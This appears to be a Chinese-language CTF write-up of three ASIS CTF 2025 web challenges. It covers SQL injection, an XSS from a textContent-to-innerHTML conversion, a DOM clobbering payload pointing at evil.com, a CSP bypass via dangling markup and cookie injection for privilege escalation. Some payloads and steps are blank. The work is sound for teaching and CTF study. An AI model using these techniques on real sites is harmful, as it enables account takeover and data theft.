ASIS CTF 2025 WEB WP
字数 1890 2025-10-01 14:05:44
ASIS CTF 2025 WEB WP 中几道题目的详细教学文档,涵盖关键漏洞点、利用方法和最终攻击链的完整分析。
🧩 ScrapScrap I Revenge
题目背景
目标服务是一个允许用户抓取网站内容的 Web 应用,但只提供演示账户。目标是获取一个普通用户账户(role = 'user')以访问 /scrap 路由获取 flag。
关键代码分析
1. 路由与权限控制
/scrap路由仅对role = 'user'的用户开放。- 默认注册用户 role 为
'demo',只有superbot是'user'。
2. SQL 注入点
在 /debug/create_log 中存在 SQL 注入:
database.exec(`INSERT INTO logs VALUES('${req.body.log}'); ...`);
限制条件:
log长度 ≤ 50- 不能包含
/和- - 仅
role = 'user'可访问(即需 superbot 触发)
3. XSS 触发点
在 checker.js 中,错误信息渲染时存在 textContent → innerHTML 转换:
msg_url.textContent = url;
msg_url.innerHTML = DOMPurify.sanitize(msg_url.textContent);
利用 textContent 可包含 HTML 标签但不会被转义,再通过 innerHTML 渲染触发 XSS。
利用步骤
第一步:构造 XSS Payload
Payload 需满足:
- 长度 ≤ 50
- 不含
/和- - 触发 XSS 后发起 POST 请求修改当前用户 role
示例 Payload:
http://
第二步:绕过 8 秒超时
- 使用延迟响应服务器或构造页面自动跳转绕过超时限制。
第三步:触发 superbot 访问
- 提交构造的 URL 给 superbot,触发 XSS,执行 SQL 注入:
UPDATE users SET role='user' WHERE username='your_username';
第四步:访问 /scrap
- 登录后访问
/scrap即可获取 flag。
🎯 Under the Beamers Revenge
题目背景
通过 iframe srcdoc 渲染用户输入,使用 DOMPurify 过滤,但存在 DOM Clobbering 漏洞。
关键代码分析
1. 初始化配置
<script>
window.Beamer = window.Beamer || {};
BeamerConfig = { product_id: '123', language: 'FR' };
</script>
<script src="/static/beamer.js"></script>
2. DOM Clobbering 漏洞
- 通过 HTML 标签覆盖
window.Beamer的属性。 - 目标是覆盖
escapeHtml函数,使其失效。
3. 触发路径
- 调用
Beamer.update()→appendAlert()→appendUtilitiesIframe()→ 使用escapeHtml过滤失败,导致 XSS。
利用步骤
第一步:构造 DOM Clobbering Payload
<a id=Beamer><a id=Beamer-name></a><a id=Beamer-customDomain>http://evil.com</a>
第二步:触发 update 方法
Beamer.update({ language: 'FR' });
第三步:绕过 DOMPurify
- 通过 Clobbering 使
escapeHtml失效,导致customDomain被直接写入 iframe,触发 XSS。
📝 SatoNote (2 solves)
题目背景
笔记应用,目标获取管理员笔记中的 flag。
关键漏洞
1. CSP 绕过
/profile路由的 CSP 通过 Meta 标签设置,可通过悬空标记(Dangling Markup)注入绕过。
2. Preload Scanner
- 浏览器预加载扫描器可提前加载资源,用于泄露用户 UUID。
3. Cookie Sandwich
- 通过设置 Cookie 绕过权限控制。
利用步骤
第一步:悬空 Meta 标签
第三步:Cookie 注入
- 通过 XSS 设置 Cookie,提升权限为管理员。
第四步:读取管理员笔记
- 直接访问管理员笔记 API 获取 flag。
✅ 总结
| 题目 | 漏洞类型 | 关键技巧 |
|---|---|---|
| ScrapScrap I Revenge | SQLi + XSS | textContent → innerHTML |
| Under the Beamers | DOM Clobbering | 覆盖 Beamer 属性 |
| SatoNote | CSP绕过 + Preload | 悬空标记 + Cookie注入 |
如果有新的题目或补充内容,可随时提供进一步分析。